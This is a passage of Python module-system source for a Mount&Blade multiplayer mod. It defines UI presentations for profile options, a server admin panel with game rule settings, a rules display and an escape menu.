(overlay_animate_to_position, "$g_presentation_credits_obj_12", 70000, pos1), (else_try), (gt, ":cur_time", 12 * 2000 + 10 * 1500 + 70000), (presentation_set_duration, 0), (try_end), ]), ]), ]) def prsnt_create_profile_options_overlays(): block = [] for i, option in enumerate(profile_options): overlay_var = "$g_presentation_obj_profile_options_" + option[3:] block.extend([(create_text_overlay, reg0, lazy.add(profile_option_strings_begin, i, opmask_string), 0), (position_set_y, pos1, ":label_y"), (overlay_set_position, reg0, pos1), (val_sub, ":label_y", admin_panel_item_height), (create_check_box_overlay, overlay_var, "mesh_checkbox_off", "mesh_checkbox_on"), (position_set_y, pos2, ":checkbox_y"), (overlay_set_position, overlay_var, pos2), (overlay_set_val, overlay_var, option), (val_sub, ":checkbox_y", admin_panel_item_height), ]) return lazy.block(block) def prsnt_check_profile_options_overlays(): block = [] for option in profile_options: overlay_var = "$g_presentation_obj_profile_options_" + option[3:] block.extend([(else_try), (eq, ":object", overlay_var), (assign, option, ":value"), ]) return lazy.block(block) presentations.extend([ ("game_profile_banner_selection", 0, "mesh_load_window", # converted to a profile options selection [(ti_on_presentation_load, [(set_fixed_point_multiplier, 1000), (call_script, "script_load_profile_options"), (create_button_overlay, "$g_presentation_obj_profile_options_done", "str_done", tf_center_justify), (position_set_x, pos1, 500), (position_set_y, pos1, 50), (overlay_set_position, "$g_presentation_obj_profile_options_done", pos1), (position_set_x, pos1, 1500), (position_set_y, pos1, 1500), (overlay_set_size, "$g_presentation_obj_profile_options_done", pos1), (str_clear, s0), (create_text_overlay, reg0, s0, tf_scrollable), (position_set_x, pos1, 50), (position_set_y, pos1, 75), (overlay_set_position, reg0, pos1), (position_set_x, pos1, 900), (position_set_y, pos1, 625), (overlay_set_area_size, reg0, pos1), (set_container_overlay, reg0), (assign, ":label_y", 20 + (len(profile_options) * admin_panel_item_height)), (assign, ":checkbox_y", 27 + (len(profile_options) * admin_panel_item_height)), (position_set_x, pos1, 30), (position_set_x, pos2, 7), prsnt_create_profile_options_overlays(), (presentation_set_duration, 999999), ]), (ti_on_presentation_event_state_change, [(store_trigger_param_1, ":object"), (store_trigger_param_2, ":value"), (try_begin), (eq, ":object", "$g_presentation_obj_profile_options_done"), (presentation_set_duration, 0), (call_script, "script_store_profile_options"), prsnt_check_profile_options_overlays(), (try_end), ]), (ti_on_presentation_run, [(store_trigger_param_1, ":cur_time"), (try_begin), (key_clicked, key_escape), (gt, ":cur_time", 200), (presentation_set_duration, 0), (try_end), ]), ]), ("game_custom_battle_designer", prsntf_manual_end_only, 0, []), ("game_multiplayer_admin_panel", prsntf_manual_end_only, 0, # called by the game both when hosting a server from the client (scene editing mode in PW) and the admin panel [(ti_on_presentation_load, [(set_fixed_point_multiplier, 1000), (multiplayer_get_my_player, ":my_player_id"), (try_begin), # if no player, hosting a client server must have been selected, so give a list of scenes to edit (le, ":my_player_id", 0), (store_sub, ":num_scenes", scenes_end, scenes_begin), (try_begin), (gt, ":num_scenes", 20), (create_combo_label_overlay, "$g_presentation_obj_edit_mode_choose_scene"), (else_try), (create_combo_button_overlay, "$g_presentation_obj_edit_mode_choose_scene"), (try_end), (position_set_x, pos1, 800), (position_set_y, pos1, 800), (overlay_set_size, "$g_presentation_obj_edit_mode_choose_scene", pos1), (position_set_x, pos1, 500), (position_set_y, pos1, 600), (overlay_set_position, "$g_presentation_obj_edit_mode_choose_scene", pos1), (try_for_range_backwards, ":scene_id", scenes_begin, scenes_end), # add to the list from the end so the scenes are in the correct order (store_sub, ":name_string_id", ":scene_id", scenes_begin), (val_add, ":name_string_id", scene_names_begin), (str_store_string, s0, ":name_string_id"), (overlay_add_item, "$g_presentation_obj_edit_mode_choose_scene", s0), (try_end), (val_clamp, "$g_selected_scene", scenes_begin, scenes_end), (store_sub, ":scene_index", scenes_end, "$g_selected_scene"), (val_sub, ":scene_index", 1), (overlay_set_val, "$g_presentation_obj_edit_mode_choose_scene", ":scene_index"), (create_button_overlay, "$g_presentation_obj_edit_mode_start_scene", "str_edit_scene", tf_center_justify), (position_set_x, pos1, 480), (position_set_y, pos1, 200), (overlay_set_position, "$g_presentation_obj_edit_mode_start_scene", pos1), (position_set_x, pos1, 1500), (position_set_y, pos1, 1500), (overlay_set_size, "$g_presentation_obj_edit_mode_start_scene", pos1), (presentation_set_duration, 999999), (else_try), (assign, "$g_presentation_obj_edit_mode_choose_scene", -1), (assign, "$g_presentation_obj_edit_mode_start_scene", -1), (try_end), (gt, ":my_player_id", 0), # otherwise when connected to a server, show the admin panel (create_mesh_overlay, reg0, "mesh_mp_ui_host_maps_randomp"), (position_set_x, pos1, -1), (position_set_y, pos1, 550), (overlay_set_position, reg0, pos1), (position_set_x, pos1, 1002), (position_set_y, pos1, 1002), (overlay_set_size, reg0, pos1), (create_mesh_overlay, reg0, "mesh_mp_ui_host_main"), (position_set_x, pos1, -1), (position_set_y, pos1, -1), (overlay_set_position, reg0, pos1), (position_set_x, pos1, 1002), (position_set_y, pos1, 1002), (overlay_set_size, reg0, pos1), (assign, ":cur_y", 20 + (21 * admin_panel_item_height)), # fixed offset plus the number of panel items multiplied by the height (str_clear, s0), (create_text_overlay, reg0, s0, tf_scrollable), (position_set_x, pos1, 59), (position_set_y, pos1, 50), (overlay_set_position, reg0, pos1), (position_set_x, pos1, 640), (position_set_y, pos1, 520), (overlay_set_area_size, reg0, pos1), (set_container_overlay, reg0), (create_text_overlay, reg0, "str_add_to_game_servers_list", 0), (position_set_x, pos1, 30), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (create_check_box_overlay, "$g_presentation_obj_admin_panel_add_to_servers_list", "mesh_checkbox_off", "mesh_checkbox_on"), (position_set_x, pos1, 7), (store_add, ":special_cur_y", ":cur_y", 7), (position_set_y, pos1, ":special_cur_y"), (overlay_set_position, "$g_presentation_obj_admin_panel_add_to_servers_list", pos1), (server_get_add_to_game_servers_list, ":add_to_servers_list"), (overlay_set_val, "$g_presentation_obj_admin_panel_add_to_servers_list", ":add_to_servers_list"), (val_sub, ":cur_y", admin_panel_item_height), (create_text_overlay, reg0, "str_anti_cheat", 0), (position_set_x, pos1, 30), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (create_check_box_overlay, "$g_presentation_obj_admin_panel_anti_cheat", "mesh_checkbox_off", "mesh_checkbox_on"), (position_set_x, pos1, 7), (store_add, ":special_cur_y", ":cur_y", 7), (position_set_y, pos1, ":special_cur_y"), (overlay_set_position, "$g_presentation_obj_admin_panel_anti_cheat", pos1), (server_get_anti_cheat, ":server_anti_cheat"), (overlay_set_val, "$g_presentation_obj_admin_panel_anti_cheat", ":server_anti_cheat"), (val_sub, ":cur_y", admin_panel_item_height), (create_text_overlay, reg0, "str_server_name", 0), (position_set_x, pos1, 0), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (str_store_server_name, s0), (try_begin), (eq, "$g_renaming_server_allowed", 1), (create_simple_text_box_overlay, "$g_presentation_obj_admin_panel_server_name"), (position_set_x, pos1, 390), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_admin_panel_server_name", pos1), (overlay_set_text, "$g_presentation_obj_admin_panel_server_name", s0), (else_try), (assign, "$g_presentation_obj_admin_panel_server_name", -1), (create_text_overlay, reg0, s0, 0), (position_set_x, pos1, 385), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (try_end), (val_sub, ":cur_y", admin_panel_item_height), (create_text_overlay, reg0, "str_game_password", 0), (position_set_x, pos1, 0), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (create_simple_text_box_overlay, "$g_presentation_obj_admin_panel_password"), (position_set_x, pos1, 390), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_admin_panel_password", pos1), (str_store_server_password, s0), (overlay_set_text, "$g_presentation_obj_admin_panel_password", s0), (val_sub, ":cur_y", admin_panel_item_height), (create_text_overlay, reg0, "str_welcome_message", 0), (position_set_x, pos1, 0), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (create_simple_text_box_overlay, "$g_presentation_obj_admin_panel_welcome_message"), (position_set_x, pos1, 390), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_admin_panel_welcome_message", pos1), (str_store_welcome_message, s0), (overlay_set_text, "$g_presentation_obj_admin_panel_welcome_message", s0), (val_sub, ":cur_y", admin_panel_item_height), (create_text_overlay, reg0, "str_game_type", 0), (position_set_x, pos1, 0), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (create_combo_button_overlay, "$g_presentation_obj_admin_panel_game_type"), (position_set_x, pos1, 800), (position_set_y, pos1, 800), (overlay_set_size, "$g_presentation_obj_admin_panel_game_type", pos1), (position_set_x, pos1, 490), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_admin_panel_game_type", pos1), (assign, ":name_string_id", game_type_names_end), (try_for_range_backwards, ":unused", game_type_mission_templates_begin, game_type_mission_templates_end), (val_sub, ":name_string_id", 1), (str_store_string, s0, ":name_string_id"), (overlay_add_item, "$g_presentation_obj_admin_panel_game_type", s0), (try_end), (assign, "$g_selected_game_type", "$g_game_type"), (val_clamp, "$g_selected_game_type", game_type_mission_templates_begin, game_type_mission_templates_end), (store_sub, ":game_type_index", lazy.sub(game_type_mission_templates_end, 1), "$g_selected_game_type"), (overlay_set_val, "$g_presentation_obj_admin_panel_game_type", ":game_type_index"), (val_sub, ":cur_y", admin_panel_item_height), (create_text_overlay, reg0, "str_scene", 0), (position_set_x, pos1, 0), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (store_sub, ":num_scenes", scenes_end, scenes_begin), (try_begin), (gt, ":num_scenes", 20), (create_combo_label_overlay, "$g_presentation_obj_admin_panel_scene"), (else_try), (create_combo_button_overlay, "$g_presentation_obj_admin_panel_scene"), (try_end), (position_set_x, pos1, 800), (position_set_y, pos1, 800), (overlay_set_size, "$g_presentation_obj_admin_panel_scene", pos1), (position_set_x, pos1, 490), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_admin_panel_scene", pos1), (try_for_range_backwards, ":scene_id", scenes_begin, scenes_end), (store_sub, ":name_string_id", ":scene_id", scenes_begin), (val_add, ":name_string_id", scene_names_begin), (str_store_string, s0, ":name_string_id"), (overlay_add_item, "$g_presentation_obj_admin_panel_scene", s0), (try_end), (store_current_scene, "$g_selected_scene"), (store_sub, ":scene_index", lazy.sub(scenes_end, 1), "$g_selected_scene"), (overlay_set_val, "$g_presentation_obj_admin_panel_scene", ":scene_index"), (val_sub, ":cur_y", admin_panel_item_height), (assign, reg1, 1), (create_text_overlay, reg0, "str_max_players", 0), (position_set_x, pos1, 0), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (create_number_box_overlay, "$g_presentation_obj_admin_panel_max_players", min_num_players, max_num_players), (position_set_x, pos1, 390), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_admin_panel_max_players", pos1), (server_get_max_num_players, ":max_players"), (overlay_set_val, "$g_presentation_obj_admin_panel_max_players", ":max_players"), (val_sub, ":cur_y", admin_panel_item_height), (create_text_overlay, reg0, "str_ghost_mode", 0), (position_set_x, pos1, 0), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (create_combo_button_overlay, "$g_presentation_obj_admin_panel_ghost_mode"), (position_set_x, pos1, 800), (position_set_y, pos1, 800), (overlay_set_size, "$g_presentation_obj_admin_panel_ghost_mode", pos1), (position_set_x, pos1, 490), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_admin_panel_ghost_mode", pos1), (overlay_add_item, "$g_presentation_obj_admin_panel_ghost_mode", "str_free"), (overlay_add_item, "$g_presentation_obj_admin_panel_ghost_mode", "str_stick_to_any_player"), (overlay_add_item, "$g_presentation_obj_admin_panel_ghost_mode", "str_stick_to_team_members"), (overlay_add_item, "$g_presentation_obj_admin_panel_ghost_mode", "str_stick_to_team_members_view"), (server_get_ghost_mode, ":server_ghost_mode"), (overlay_set_val, "$g_presentation_obj_admin_panel_ghost_mode", ":server_ghost_mode"), (val_sub, ":cur_y", admin_panel_item_height), (create_text_overlay, reg0, "str_control_block_direction", 0), (position_set_x, pos1, 0), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (create_combo_button_overlay, "$g_presentation_obj_admin_panel_block_dir"), (position_set_x, pos1, 800), (position_set_y, pos1, 800), (overlay_set_size, "$g_presentation_obj_admin_panel_block_dir", pos1), (position_set_x, pos1, 490), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_admin_panel_block_dir", pos1), (overlay_add_item, "$g_presentation_obj_admin_panel_block_dir", "str_automatic"), (overlay_add_item, "$g_presentation_obj_admin_panel_block_dir", "str_by_mouse_movement"), (server_get_control_block_dir, ":server_control_block_dir"), (overlay_set_val, "$g_presentation_obj_admin_panel_block_dir", ":server_control_block_dir"), (val_sub, ":cur_y", admin_panel_item_height), (create_text_overlay, reg0, "str_combat_speed", 0), (position_set_x, pos1, 0), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (create_combo_button_overlay, "$g_presentation_obj_admin_panel_combat_speed"), (position_set_x, pos1, 800), (position_set_y, pos1, 800), (overlay_set_size, "$g_presentation_obj_admin_panel_combat_speed", pos1), (position_set_x, pos1, 490), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_admin_panel_combat_speed", pos1), (overlay_add_item, "$g_presentation_obj_admin_panel_combat_speed", "str_combat_speed_0"), (overlay_add_item, "$g_presentation_obj_admin_panel_combat_speed", "str_combat_speed_1"), (overlay_add_item, "$g_presentation_obj_admin_panel_combat_speed", "str_combat_speed_2"), (overlay_add_item, "$g_presentation_obj_admin_panel_combat_speed", "str_combat_speed_3"), (overlay_add_item, "$g_presentation_obj_admin_panel_combat_speed", "str_combat_speed_4"), (server_get_combat_speed, ":server_combat_speed"), (overlay_set_val, "$g_presentation_obj_admin_panel_combat_speed", ":server_combat_speed"), (val_sub, ":cur_y", admin_panel_item_height), (create_text_overlay, reg0, "str_game_time_limit", 0), (position_set_x, pos1, 0), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (create_number_box_overlay, "$g_presentation_obj_admin_panel_time_limit", 5, 40321), (position_set_x, pos1, 390), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_admin_panel_time_limit", pos1), (overlay_set_val, "$g_presentation_obj_admin_panel_time_limit", "$g_game_time_limit"), (val_sub, ":cur_y", admin_panel_item_height), (create_text_overlay, reg0, "str_respawn_period", 0), (position_set_x, pos1, 0), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (create_number_box_overlay, "$g_presentation_obj_admin_panel_respawn_period", min_respawn_period, max_respawn_period), (position_set_x, pos1, 390), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_admin_panel_respawn_period", pos1), (overlay_set_val, "$g_presentation_obj_admin_panel_respawn_period", "$g_respawn_period"), (val_sub, ":cur_y", admin_panel_item_height), (create_text_overlay, reg0, "str_starting_gold", 0), (position_set_x, pos1, 0), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (create_number_box_overlay, "$g_presentation_obj_admin_panel_starting_gold", 0, 10001), (position_set_x, pos1, 390), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_admin_panel_starting_gold", pos1), (overlay_set_val, "$g_presentation_obj_admin_panel_starting_gold", "$g_starting_gold_multiplier"), (val_sub, ":cur_y", admin_panel_item_height), (create_text_overlay, reg0, "str_combat_gold_bonus", 0), (position_set_x, pos1, 0), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (create_number_box_overlay, "$g_presentation_obj_admin_panel_combat_gold", 0, 10001), (position_set_x, pos1, 390), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_admin_panel_combat_gold", pos1), (overlay_set_val, "$g_presentation_obj_admin_panel_combat_gold", "$g_combat_gold_multiplier"), (val_sub, ":cur_y", admin_panel_item_height), (create_text_overlay, reg0, "str_kick_voteable", 0), (position_set_x, pos1, 30), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (create_check_box_overlay, "$g_presentation_obj_admin_panel_kick_voteable", "mesh_checkbox_off", "mesh_checkbox_on"), (position_set_x, pos1, 7), (store_add, ":special_cur_y", ":cur_y", 7), (position_set_y, pos1, ":special_cur_y"), (overlay_set_position, "$g_presentation_obj_admin_panel_kick_voteable", pos1), (overlay_set_val, "$g_presentation_obj_admin_panel_kick_voteable", "$g_kick_voteable"), (val_sub, ":cur_y", admin_panel_item_height), (create_text_overlay, reg0, "str_ban_voteable", 0), (position_set_x, pos1, 30), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (create_check_box_overlay, "$g_presentation_obj_admin_panel_ban_voteable", "mesh_checkbox_off", "mesh_checkbox_on"), (position_set_x, pos1, 7), (store_add, ":special_cur_y", ":cur_y", 7), (position_set_y, pos1, ":special_cur_y"), (overlay_set_position, "$g_presentation_obj_admin_panel_ban_voteable", pos1), (overlay_set_val, "$g_presentation_obj_admin_panel_ban_voteable", "$g_ban_voteable"), (val_sub, ":cur_y", admin_panel_item_height), (create_text_overlay, reg0, "str_scenes_voteable", 0), (position_set_x, pos1, 30), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (create_check_box_overlay, "$g_presentation_obj_admin_panel_scenes_voteable", "mesh_checkbox_off", "mesh_checkbox_on"), (position_set_x, pos1, 7), (store_add, ":special_cur_y", ":cur_y", 7), (position_set_y, pos1, ":special_cur_y"), (overlay_set_position, "$g_presentation_obj_admin_panel_scenes_voteable", pos1), (overlay_set_val, "$g_presentation_obj_admin_panel_scenes_voteable", "$g_scenes_voteable"), (val_sub, ":cur_y", admin_panel_item_height), (create_text_overlay, reg0, "str_valid_vote_ratio", 0), (position_set_x, pos1, 0), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (create_number_box_overlay, "$g_presentation_obj_admin_panel_vote_ratio", 50, 101), (position_set_x, pos1, 390), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_admin_panel_vote_ratio", pos1), (overlay_set_val, "$g_presentation_obj_admin_panel_vote_ratio", "$g_valid_vote_ratio"), (val_sub, ":cur_y", admin_panel_item_height), (create_text_overlay, reg0, "str_team_point_limit", 0), (position_set_x, pos1, 0), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (create_number_box_overlay, "$g_presentation_obj_admin_panel_victory_condition", 0, 1441), (position_set_x, pos1, 390), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_admin_panel_victory_condition", pos1), (overlay_set_val, "$g_presentation_obj_admin_panel_victory_condition", "$g_victory_condition"), (val_sub, ":cur_y", admin_panel_item_height), (create_text_overlay, reg0, "str_num_bots_voteable", 0), (position_set_x, pos1, 0), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (create_number_box_overlay, "$g_presentation_obj_admin_panel_max_herd_animals", 0, 1001), (position_set_x, pos1, 390), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_admin_panel_max_herd_animals", pos1), (overlay_set_val, "$g_presentation_obj_admin_panel_max_herd_animals", "$g_max_herd_animal_count"), (val_sub, ":cur_y", admin_panel_item_height), (create_text_overlay, reg0, "str_bot_count", 0), (position_set_x, pos1, 0), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (create_number_box_overlay, "$g_presentation_obj_admin_panel_bot_count", 0, 101), (position_set_x, pos1, 390), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_admin_panel_bot_count", pos1), (overlay_set_val, "$g_presentation_obj_admin_panel_bot_count", "$g_bot_count"), (set_container_overlay, -1), (create_button_overlay, "$g_presentation_obj_admin_panel_done", "str_done", tf_center_justify), (position_set_x, pos1, 825), (position_set_y, pos1, 50), (overlay_set_position, "$g_presentation_obj_admin_panel_done", pos1), (position_set_x, pos1, 1500), (position_set_y, pos1, 1500), (overlay_set_size, "$g_presentation_obj_admin_panel_done", pos1), (create_button_overlay, "$g_presentation_obj_admin_panel_start_scene", "str_start_scene", tf_center_justify), (position_set_x, pos1, 825), (position_set_y, pos1, 90), (overlay_set_position, "$g_presentation_obj_admin_panel_start_scene", pos1), (position_set_x, pos1, 1500), (position_set_y, pos1, 1500), (overlay_set_size, "$g_presentation_obj_admin_panel_start_scene", pos1), (presentation_set_duration, 999999), ]), (ti_on_presentation_event_state_change, [(store_trigger_param_1, ":object"), (store_trigger_param_2, ":value"), (try_begin), # edit scene mode (gt, "$g_presentation_obj_edit_mode_choose_scene", -1), (try_begin), (eq, ":object", "$g_presentation_obj_edit_mode_choose_scene"), (store_sub, "$g_selected_scene", scenes_end, ":value"), (val_sub, "$g_selected_scene", 1), (else_try), (eq, ":object", "$g_presentation_obj_edit_mode_start_scene"), (team_set_faction, 0, 0), (team_set_faction, 1, 0), (start_multiplayer_mission, "mt_edit_scene", "$g_selected_scene", 1), (try_end), (try_end), (eq, "$g_presentation_obj_edit_mode_choose_scene", -1), (try_begin), # admin panel (eq, ":object", "$g_presentation_obj_admin_panel_add_to_servers_list"), (multiplayer_send_2_int_to_server, client_event_admin_set_game_rule, command_set_add_to_game_servers_list, ":value"), (else_try), (eq, ":object", "$g_presentation_obj_admin_panel_anti_cheat"), (multiplayer_send_2_int_to_server, client_event_admin_set_game_rule, command_set_anti_cheat, ":value"), (else_try), (eq, ":object", "$g_presentation_obj_admin_panel_server_name"), (multiplayer_send_string_to_server, client_event_admin_set_server_name, s0), (else_try), (eq, ":object", "$g_presentation_obj_admin_panel_password"), (multiplayer_send_string_to_server, client_event_admin_set_password, s0), (else_try), (eq, ":object", "$g_presentation_obj_admin_panel_welcome_message"), (server_set_welcome_message, s0), (multiplayer_send_string_to_server, client_event_admin_set_welcome_message, s0), (else_try), (eq, ":object", "$g_presentation_obj_admin_panel_game_type"), (store_sub, "$g_selected_game_type", lazy.sub(game_type_mission_templates_end, 1), ":value"), (else_try), (eq, ":object", "$g_presentation_obj_admin_panel_scene"), (store_sub, "$g_selected_scene", lazy.sub(scenes_end, 1), ":value"), (else_try), (eq, ":object", "$g_presentation_obj_admin_panel_start_scene"), (multiplayer_send_3_int_to_server, client_event_admin_set_game_rule, command_start_scene, "$g_selected_scene", "$g_selected_game_type"), (presentation_set_duration, 0), (else_try), (eq, ":object", "$g_presentation_obj_admin_panel_max_players"), (multiplayer_send_2_int_to_server, client_event_admin_set_game_rule, command_set_max_players, ":value"), (else_try), (eq, ":object", "$g_presentation_obj_admin_panel_ghost_mode"), (multiplayer_send_2_int_to_server, client_event_admin_set_game_rule, command_set_ghost_mode, ":value"), (else_try), (eq, ":object", "$g_presentation_obj_admin_panel_block_dir"), (multiplayer_send_2_int_to_server, client_event_admin_set_game_rule, command_set_control_block_direction, ":value"), (else_try), (eq, ":object", "$g_presentation_obj_admin_panel_combat_speed"), (multiplayer_send_2_int_to_server, client_event_admin_set_game_rule, command_set_combat_speed, ":value"), (else_try), (eq, ":object", "$g_presentation_obj_admin_panel_time_limit"), (multiplayer_send_2_int_to_server, client_event_admin_set_game_rule, command_set_map_time_limit, ":value"), (else_try), (eq, ":object", "$g_presentation_obj_admin_panel_respawn_period"), (multiplayer_send_2_int_to_server, client_event_admin_set_game_rule, command_set_respawn_period, ":value"), (else_try), (eq, ":object", "$g_presentation_obj_admin_panel_time_limit"), (multiplayer_send_2_int_to_server, client_event_admin_set_game_rule, command_set_map_time_limit, ":value"), (else_try), (eq, ":object", "$g_presentation_obj_admin_panel_starting_gold"), (multiplayer_send_2_int_to_server, client_event_admin_set_game_rule, command_set_starting_gold, ":value"), (else_try), (eq, ":object", "$g_presentation_obj_admin_panel_combat_gold"), (multiplayer_send_2_int_to_server, client_event_admin_set_game_rule, command_set_combat_gold_bonus, ":value"), (else_try), (eq, ":object", "$g_presentation_obj_admin_panel_kick_voteable"), (multiplayer_send_2_int_to_server, client_event_admin_set_game_rule, command_set_kick_voteable, ":value"), (else_try), (eq, ":object", "$g_presentation_obj_admin_panel_ban_voteable"), (multiplayer_send_2_int_to_server, client_event_admin_set_game_rule, command_set_ban_voteable, ":value"), (else_try), (eq, ":object", "$g_presentation_obj_admin_panel_scenes_voteable"), (multiplayer_send_2_int_to_server, client_event_admin_set_game_rule, command_set_maps_voteable, ":value"), (else_try), (eq, ":object", "$g_presentation_obj_admin_panel_vote_ratio"), (multiplayer_send_2_int_to_server, client_event_admin_set_game_rule, command_set_valid_vote_ratio, ":value"), (else_try), (eq, ":object", "$g_presentation_obj_admin_panel_victory_condition"), (multiplayer_send_2_int_to_server, client_event_admin_set_game_rule, command_set_team_point_limit, ":value"), (else_try), (eq, ":object", "$g_presentation_obj_admin_panel_max_herd_animals"), (multiplayer_send_2_int_to_server, client_event_admin_set_game_rule, command_set_num_bots_voteable, ":value"), (else_try), (eq, ":object", "$g_presentation_obj_admin_panel_bot_count"), (multiplayer_send_2_int_to_server, client_event_admin_set_game_rule, command_set_bot_count, ":value"), (else_try), (eq, ":object", "$g_presentation_obj_admin_panel_done"), (presentation_set_duration, 0), (try_end), ]), (ti_on_presentation_run, [(store_trigger_param_1, ":cur_time"), (try_begin), (key_clicked, key_escape), (gt, ":cur_time", 200), (presentation_set_duration, 0), (try_end), ]), ]), ("game_before_quit", 0, "mesh_load_window", []), ("game_rules", prsntf_manual_end_only, 0, # lists server settings [(ti_on_presentation_load, [(set_fixed_point_multiplier, 1000), (create_mesh_overlay, reg0, "mesh_mp_ui_welcome_panel"), (position_set_x, pos1, 200), (position_set_y, pos1, 400), (overlay_set_position, reg0, pos1), (str_store_welcome_message, s0), (try_begin), (neg|str_is_empty, s0), (str_clear, s3), (str_store_string, s2, s0), (str_store_string, s2, "str_s2_s3"), (str_store_string, s2, "str_s2_s3"), (else_try), (str_clear, s2), (try_end), (str_store_string, s3, "str_game_rules"), (str_store_string, s2, "str_s2_s3"), (str_store_string, s0, "str_server_name"), (str_store_server_name, s1), (str_store_string, s3, "str_s0_s1"), (str_store_string, s2, "str_s2_s3"), (store_current_scene, ":current_scene"), (val_sub, ":current_scene", scenes_begin), (val_add, ":current_scene", scene_names_begin), (str_store_string, s0, "str_scene_name"), (str_store_string, s1, ":current_scene"), (str_store_string, s3, "str_s0_s1"), (str_store_string, s2, "str_s2_s3"), (store_mission_timer_a, ":mission_timer"), (val_add, ":mission_timer", "$g_server_mission_timer_when_player_joined"), (store_mul, ":remaining_seconds", "$g_game_time_limit", 60), (val_sub, ":remaining_seconds", ":mission_timer"), (store_div, reg0, ":remaining_seconds", 3600), (val_mod, ":remaining_seconds", 3600), (store_div, reg1, ":remaining_seconds", 60), (store_mod, reg2, ":remaining_seconds", 60), (try_begin), (ge, reg1, 10), (str_clear, s0), (else_try), (str_store_string, s0, "str_zero"), (try_end), (try_begin), (ge, reg2, 10), (str_clear, s1), (else_try), (str_store_string, s1, "str_zero"), (try_end), (str_store_string, s3, "str_remaining_time_reg0_s0reg1_s1reg2"), (str_store_string, s2, "str_s2_s3"), (assign, ":loop_end", 100), (try_for_range, ":current_option", 0, ":loop_end"), (assign, reg0, -12345), (call_script, "script_game_get_multiplayer_server_option_for_mission_template", 0, ":current_option"), (try_begin), (eq, reg0, -12345), (assign, ":loop_end", 0), (else_try), (call_script, "script_game_multiplayer_server_option_for_mission_template_to_string", 0, ":current_option", reg0), (str_store_string, s3, s0), (str_store_string, s2, "str_s2_s3"), (try_end), (try_end), (create_text_overlay, reg0, s2, tf_scrollable), (overlay_set_color, reg0, 0xFFFFFF), (position_set_x, pos1, 230), (position_set_y, pos1, 425), (overlay_set_position, reg0, pos1), (position_set_x, pos1, 900), (position_set_y, pos1, 900), (overlay_set_size, reg0, pos1), (position_set_x, pos1, 540), (position_set_y, pos1, 150), (overlay_set_area_size, reg0, pos1), (presentation_set_duration, 999999), ]), (ti_on_presentation_run, [(store_trigger_param_1, ":cur_time"), (try_begin), (key_clicked, key_escape), (gt, ":cur_time", 200), (presentation_set_duration, 0), (try_end), ]), ]), ("escape_menu", prsntf_manual_end_only, 0, [(ti_on_presentation_load, [(set_fixed_point_multiplier, 1000), (create_mesh_overlay, reg0, "mesh_mp_ingame_menu"), (position_set_x, pos1, 250), (position_set_y, pos1, 80), (overlay_set_position, reg0, pos1), (position_set_x, pos1, 1000), (position_set_y, pos1, 1000), (overlay_set_size, reg0, pos1), (str_clear, s0), (create_text_overlay, reg0, s0, tf_scrollable_style_2), (position_set_x, pos1, 285), (position_set_y, pos1, 125), (overlay_set_position, reg0, pos1), (position_set_x, pos1, 405), (position_set_y, pos1, 500), (overlay_set_area_size, reg0, pos1), (set_container_overlay, reg0), (init_position, pos2), (position_set_x, pos2, 900), (position_set_y, pos2, 900), (assign, ":cur_y", 10), (multiplayer_get_my_player, ":my_player_id"), (player_get_team_no, ":my_team", ":my_player_id"), (try_begin), (this_or_next|eq, "$g_player_has_spawned_after_connecting", 0), (eq, ":my_team", team_spectators), (assign, ":string_id", "str_join_game"), (else_try), (assign, ":string_id", "str_spectate"), (try_end), (create_button_overlay, reg0, ":string_id", 0), (assign, "$g_presentation_obj_escape_menu_spectate", reg0), (overlay_set_color, reg0, 0xFFFFFF), (overlay_set_size, reg0, pos2), (val_add, ":cur_y", escape_menu_item_height), (create_button_overlay, reg0, "str_change_options", 0), (assign, "$g_presentation_obj_escape_menu_options", reg0), (overlay_set_color, reg0, 0xFFFFFF), (overlay_set_size, reg0, pos2), (val_add, ":cur_y", 